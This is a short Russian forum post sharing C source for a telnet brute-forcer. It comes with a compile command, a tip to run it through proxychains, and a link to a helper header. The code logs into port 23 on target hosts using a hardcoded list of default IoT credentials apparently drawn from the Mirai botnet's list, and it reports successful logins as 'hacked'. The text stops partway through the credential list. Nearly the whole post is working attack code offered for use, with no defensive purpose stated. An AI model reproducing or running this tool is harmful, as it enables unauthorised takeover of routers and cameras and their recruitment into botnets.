Раз комментами ботов не троллить, то выложу telnet-сканер
tools.h:
https://pasta.cf/next-complain-salt/raw/tools.hКомпиляция: g++ test.c -o test -lssl -w
Можно через proxychains запускать
#include "tools.h"
int create_connection(char* ip) {
int sock=socket(PF_INET,SOCK_STREAM,0);
connection(sock,ip,23,5);
set_recv_timeout(sock,8);
return sock;
}
bool isLoginRequired(char* data) {
return (strstr(data,"ame:")!=NULL || strstr(data,"ername:")!=NULL || strstr(data,"ogin:")!=NULL);
}
char symbols[]="$#<>:";
bool isHacked(char* data) {
return (!(strstr(data,"ailed")!=NULL || strstr(data,"nvalid")!=NULL || strstr(data,"ncorrect")!=NULL) && strspn(data,symbols)>0);
}
bool isPasswordRequired(char* data) {
return (strstr(data,"assword:")!=NULL);
}
char* hash[52][2];
int l;
void crack_telnet(char* ip) {
printf("\033[32;2mstarting cracking %s ...\033[0m\n",ip);
bool cracked=false;
char buff[1024], user[20], password[20];
int sock=create_connection(ip);
int index=0;
int errs=0;
while(!cracked) {
memset(user,0,sizeof(user));
memset(password,0,sizeof(password));
snprintf(user,sizeof(user),"%s\r\n",hash[index][0]);
snprintf(password,sizeof(password),"%s\r\n",hash[index][1]);
bruteforce: if(errs>=3) break;
sleep(1);
printf("\033[32;2mtrying %s : %s\033[0m\n",hash[index][0],hash[index][1]);
if(!isLoginRequired(buff)) {
memset(buff,0,sizeof(buff));
if(recv(sock,buff,sizeof(buff),0)<=0) { errs++; printf("\033[32;2mrecv() error\033[0m\n"); printf("\033[32;2mreconnecting ...\033[0m\n"); close(sock); sock=create_connection(ip); goto bruteforce; }
}
errs=0;
printf("%s\n",buff);
if(isLoginRequired(buff)) {
login: sleep(1);
if(send(sock,user,sizeof(user),0)<=0) { printf("\033[32;2mreconnecting ...\033[0m\n"); sock=create_connection(ip); goto bruteforce; }
printf("\033[32;2mlogin sent\033[0m\n");
sleep(1);
memset(buff,0,sizeof(buff));
if(recv(sock,buff,sizeof(buff),0)<=0) { printf("\033[32;2mrecv() error\033[0m\n"); printf("\033[32;2mreconnecting ...\033[0m\n"); close(sock); sock=create_connection(ip); goto bruteforce; }
if(isPasswordRequired(buff)) {
passwd: sleep(1);
if(send(sock,password,sizeof(password),0)<=0) { printf("\033[32;2mreconnecting ...\033[0m\n"); sock=create_connection(ip); goto bruteforce; }
printf("\033[32;2mpassword sent\033[0m\n");
sleep(1);
memset(buff,0,sizeof(buff));
if(recv(sock,buff,sizeof(buff),0)<=0) { printf("\033[32;2mrecv() error\033[0m\n"); printf("\033[32;2mreconnecting ...\033[0m\n"); close(sock); sock=create_connection(ip); goto bruteforce; }
} else { printf("\033[32;2misPasswordRequired() returned false %s\033[0m\n",buff); if(isLoginRequired(buff)) goto login; else goto bruteforce; }
} else { printf("\033[32;2misLoginRequired() returned false %s\033[0m\n",buff); if(isPasswordRequired(buff)) goto passwd; else goto bruteforce; }
if(isHacked(buff) && !isLoginRequired(buff) && !isPasswordRequired(buff)) {
printf("\033[32;2m%s:23 => %s : %s\033[0m\n",ip,hash[index][0],hash[index][1]);
cracked=true;
}
printf("%s\n",buff);
index++;
if(index==l) break;
}
}
int main(int argc,char* argv[]) {
hash[0][0]="admin"; hash[0][1]="admin";
hash[1][0]="root"; hash[1][1]="root";
hash[2][0]="root"; hash[2][1]="xc3511";
hash[3][0]="root"; hash[3][1]="888888";
hash[4][0]="root"; hash[4][1]="12345";
hash[5][0]="root"; hash[5][1]="123456";
hash[6][0]="root"; hash[6][1]="54321";
hash[7][0]="root"; hash[7][1]="vizxv";
hash[8][0]="root"; hash[8][1]="default";
hash[9][0]="root"; hash[9][1]="xmhdipc";
hash[10][0]="root"; hash[10][1]="admin";
hash[11][0]="root"; hash[11][1]="juantech";
hash[12][0]="root"; hash[12][1]="1111";
hash[13][0]="root"; hash[13][1]="pass";
hash[14][0]="user"; hash[14][1]="user";
hash[15][0]="admin"; hash[15][1]="admin1234";
hash[16][0]="root"; hash[16][1]="1234";
hash[17][0]="root"; hash[17][1]="password";
hash[18][0]="admin"; hash[18][1]="1111";
hash[19][0]="admin"; hash[19][1]="1234";
hash[20][0]="admin"; hash[20][1]="12345";
hash[21][0]="admin"; hash[21][1]="123456";
hash[22][0]="admin"; hash[22][1]="111111";
hash[23][0]="admin"; hash[23][1]="1111111";
hash[24][0]="tech"; hash[24][1]="tech";
hash[25][0]="root"; hash[25][1]="00000000";
hash[26][0]="admin"; hash[26][1]="pass";
hash[27][0]="admin"; hash[27][1]="meinsm";
hash[28][0]="root"; hash[28][1]="7ujMko0admin";
hash[29][0]="root"; hash[29][1]="7ujMko0vizxv";
hash[30][0]="service"; hash[30][1]="service";
hash[31][0]="admin"; hash[31][1]="7ujMko0admin";
hash[32][0]="admin"; hash[32][1]="54321";
hash[33][0]="admin"; hash[33][1]="smcadmin";
hash[34][0]="root"; hash[34][1]="666666";
hash[35][0]="root"; hash[35][1]="klv123";
hash[36][0]="guest"; hash[36][1]="guest";
hash[37][0]="guest"; hash[37][1]="12345";
hash[38][0]="admin1"; hash[38][1]="password";
hash[39][0]="666666"; hash[39][1]="666666";
hash[40][0]="888888"; hash[40][1]="888888";
hash[41][0]="root"; hash[41][1]="klv1234";
hash[42][0]="root"; hash[42][1]="Zte521";
hash[43][0]="ubnt"; hash[43][1]="ubnt";
hash[44][0]="root"; hash[44][1]="hi3518";
hash[45][0]="root"; hash[45][1]="jvbzd";
hash[46][0]="root"; hash[46][1]="anko";
hash[47][0]="root"; hash[47][1]="zlxx.";
hash[48][0]="root"<spa